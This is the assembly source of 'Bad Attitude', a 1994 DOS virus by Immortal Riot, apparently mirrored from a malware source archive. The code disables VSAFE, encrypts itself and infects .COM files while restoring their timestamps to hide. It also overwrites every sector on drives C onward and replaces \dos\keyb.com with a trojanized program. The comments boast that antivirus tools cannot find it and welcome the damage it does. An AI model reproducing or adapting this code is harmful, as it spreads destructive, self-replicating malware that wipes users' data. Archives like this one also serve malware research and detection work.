mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
412 lines
8.3 KiB
NASM
412 lines
8.3 KiB
NASM
; -Bad Attitude-
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; "Created by Immortal Riot's destructive development team"
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; (c) '94 The Unforgiven/Immortal Riot
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;
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; "If I don't have bad attitude, this virus is harmless"
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;
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; Notes:
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; F-Prot, Scan, Tbav, Findviru can't find shits of this virus.
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;
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; Disclaimer:
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; If this virus damages you, it's a pleasure, but not the fault
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; of the author. If you want to sue me, it's your loss.
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;
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; Dedication:
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; I dedicate this virus to all virus writers worldwide!
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.MODEL TINY
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.CODE
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ORG 100h
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Virus_start:
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xchg ax,ax
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xchg ax,ax ; Take down VSAFE from memory!
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mov ax,0fa01h
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mov dx,5945h
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int 16h
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call get_delta_offset
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real_start:
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Get_delta_offset: ; Get delta offset
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pop bp
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sub bp, offset get_delta_offset
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Call_en_de_crypt:
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mov ax,bp
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add ax,11Ah
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push ax
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jmp short en_de_crypt ; First, decrypt the virus
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jmp short real_code_start ; and then, continue!
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encryption_value dw 0 ; Random value for each infection!
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Write_virus:
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call en_de_crypt ; Encrypt the virus
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mov ah,40h
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mov cx, offset virus_end-100h
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lea dx, [bp+100h]
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int 21h
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call en_de_crypt ; Decrypt the virus again
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ret
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En_de_crypt:
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mov ax,word ptr [bp+encryption_value]
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lea si,[bp+real_code_start]
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mov cx,(virus_end-real_code_start+1)/2
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Xor_LoopY:
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xor word ptr [si],ax
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inc si
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inc si
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Loop Xor_LoopY
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ret
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Real_code_start:
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mov ah,2ch ; Get Time
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int 21h
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cmp dl,0 ; 1%
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jne Another_Percent
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call Create_file
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Another_Percent:
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cmp dl,1 ; another %
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jne not_this_time ; Naaaaaaah
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mov ah,09h ; Print the virus name
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lea dx,[bp+virus]
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int 21h
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Trash_sucker: ; Overwrite all sectors on all drives!
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mov al,2h ; on drive C - Z
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Drive:
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mov cx,1
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lea bx,virus
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cwd
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Next_Sector:
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int 26h
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inc dx
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jnc next_sector
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inc al
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jmp short drive
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Not_this_time:
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cld
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Set_Dta: ; Set the dta
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mov ah,1ah
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lea dx,[bp+virus_end]
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int 21h
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Buffer_Xfer: ; Restore the beginning
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lea si,[bp+first_bytes]
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lea di,[bp+@buf]
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mov cx,2
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rep movsw
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mov di,3 ; Infection-counter
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Get_drive: ; Get drive from where we're
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mov ah,19h ; executed from
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int 21h
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cmp al,2
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jae Get_Dir ; A: or B:, if so, don't infect
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jmp restore_start ; other programs! Just return normally!
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Get_dir: ; Get directory from we're executed
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mov ah,47h ; from!
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xor dl,dl
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lea si,[bp+dirbuf+1]
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int 21h
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Find_First: ; Find first file
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mov cx,111b
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lea dx,[bp+filemask]
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mov ah,4eh
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_4fh: ; When called ah=4fh
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int 21h
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jnc clear_file_attribs ; We did find a file!
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chdir: ; We didn't find a file,
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cmp byte ptr [bp+DOSflag],1
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jne dot_dott
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jmp no_more_files
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dot_dott:
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mov ah,3bh ; so we try in another dir!
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lea dx,[bp+offset dot_dot]
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int 21h
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jnc find_first
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mov ah,3bh ; We try to infect files in
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lea dx,[bp+offset DOS] ; \DOS
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int 21h
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inc byte ptr [bp+dosflag]
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jnc find_first
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jmp no_more_files
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Clear_file_attribs: ; Clear file attribs
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mov ax,4301h
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sub cx,cx
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lea dx,[bp+virus_end+1eh]
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int 21h
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Open_file: ; Open the file in read/write mode!
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mov ax,3d02h
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int 21h
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xchg ax,bx
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Read_file: ; Red the first four bytes of the file
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mov ah,3fh
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mov cx,4
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lea dx,[bp+first_bytes]
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int 21h
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Check_already_infected: ; and check if it's already infected
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mov si,dx
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lea si,[bp+first_bytes]
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cmp word ptr [si],0e990h
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je already_infected
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cmp word ptr [si],5a4dh ; or an EXE file?
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je already_infected
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cmp word ptr [si],4d5ah ; or an EXE file?
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je already_infected
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mov ax,word ptr [bp+virus_end+1ah] ; or smaller than 400 bytes?
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cmp ax,400
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jb already_infected
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cmp ax,64000 ; or bigger than 64000 bytes?
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ja already_infected ; if so, don't infect <20>m!
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Move_file_pointer_2_EOF:
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call F_Ptr ; Move file-pointer to end of file
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sub ax,4 ; take the last four bytes
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Fill_1st_buf:
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mov word ptr [bp+Istbuf],0e990h ; Fill the four bytes
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mov word ptr [bp+Istbuf+2],ax ; with our own jmp-constrution!
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_TopOfFile: ; Move file-pointer to
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mov ax,4200h ; the beginning of file!
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int 21h
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Write_first4: ; Write our own jump instruction
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mov ah,40h
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mov cx,4
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lea dx,[bp+Istbuf]
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int 21h
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_EOF: ; Move to end of file again
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call F_Ptr
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Get_random: ; Get a random value
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mov ah,2ch
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int 21h
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add dl, dh
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jz get_random
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mov word ptr [bp+encryption_value],dx ; put it as the encryption value
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call write_virus ; infect the file
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jmp short restore_time_date ; Then cover our tracks!
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Already_infected:
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inc di
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Restore_Time_Date: ; Restore the infected file time
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lea si,[bp+virus_end+16h] ; and date stamps
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mov cx,word ptr [si]
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mov dx,word ptr [si+2]
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mov ax,5701h
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int 21h
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Close_file: ; Close the file!
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mov ah,3eh
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int 21h
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Set_old_attrib: ; Set back old attribs!
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mov ax,4301h
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xor ch,ch
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mov cl,byte ptr [bp+virus_end+15h]
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lea dx,[bp+virus_end+1eh]
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int 21h
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Enough_files: ; Have we infected
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dec di ; 3 files this run?
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cmp di,0
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je no_more_files
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mov ah,4fh ; No, then, search for the next file!
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jmp _4fh
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No_more_files: ; We've infected enough!
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Restore_start:
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lea si,[bp+@buf]
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mov di,100h
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movsw
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movsw
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Restore_dir: ; Restore the directory to
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lea dx,[bp+dirbuf] ; from where we were
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mov ah,3bh ; executed from!
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int 21h
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Exit_proc: ; and then return to the
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mov bx,100h ; real-file!
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push bx
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xor ax,ax
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retn
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F_Ptr: ; Move the file-pointer to end of
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mov ax,4202h ; file! (used twice!)
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xor cx, cx
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xor dx, dx
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int 21h
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ret
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Create_file: ; Create a new \dos\keyb.com
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Mov ah,3ch
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mov cx,0
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lea dx,[bp+filename]
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int 21h
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Write_Da_File:
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xchg ax,bx
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mov ah,64d
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mov cx,len
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lea dx,[bp+scroll] ; Write new content in the file
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int 21h
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Close_Da_File: ; Close the trojanized file
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mov ah,3eh
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int 21h
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ret ; and continue..
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scroll db "<22><>$<0F><03>R<><52>2Ҵ<02><10>O <00> <00>",1ah," <09>"
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scrol1 db " <20>Q<>8",0ffh,"<22><>Y<EFBFBD><02>z<01>!<21>{<01>!<21>|<01>!<21>}<01>!<21>~<01>!<21><01>!<21><16><01>!<21><16><01>!<21> <20>!<21><16><01>!<21><16><01>!<21><16><01>!<21><16><01>!<21> <20>!O<><4F>ImmortalRiot "
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len equ $-scroll
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virus db '[BAD ATTITUDE!]$'
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copy db "(c) '94 The Unforgiven/Immortal Riot"
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Filemask db '*.COM',0
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Dot_dot db '..',0
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dos db '\dos',0
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filename db '\dos\keyb.com',0
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Buffers:
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First_bytes db 90h,90h,50h,0c3h ; Our own little jmp constrution!
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@buf db 4 dup(0) ; Empty space to be
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Istbuf db 4 dup(0) ; filled with instructions
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DIRBUF db "\"
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Junkie:
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db 64 DUP(0)
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dosflag db 0
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virus_end:
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end virus_start
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; ------------------------------------------------------------------------------
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; Here is the nice pay-load (read:scroll) in the Bad Attitude virus.
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.model tiny
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.code
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org 100h
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Ssscroll:
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mov al,dl
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and al,15
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mov ah,3
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int 10h
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push dx
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mov dh,al
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xor dl,dl
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mov ah,2
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int 10h
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mov di,79
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mov cx,1
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arrow:
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mov ax,91Ah
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mov bl,10
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int 10h
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DELAY:
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push cx
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mov cx,-200
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rep lodsb
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pop cx
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mov ah,2
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mov dl, I
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int 21h
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mov dl, M
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int 21h
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mov dl, M2
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int 21h
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mov dl, O
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int 21h
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mov dl, R
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int 21h
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mov dl, T
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int 21h
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mov dl, A
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int 21h
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mov dl, L
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int 21h
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Space:
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mov dl, ' '
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int 21h
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mov dl, R2
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int 21h
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mov dl, I2
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int 21h
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mov dl, O2
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int 21h
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mov dl, T2
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int 21h
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mov dl,' '
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int 21h
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dec di
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jmp arrow ; Loop until a ctrl+break is pressed!
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heap:
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I db 'I' ; Immortal Riot
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M db 'm'
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M2 db 'm'
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o db 'o'
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R db 'r'
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T db 't'
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A db 'a'
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L db 'l'
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R2 db 'R'
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I2 db 'i'
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O2 DB 'o'
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T2 DB 't' ; Is here to stay!
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a13 db ' '
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end Ssscroll |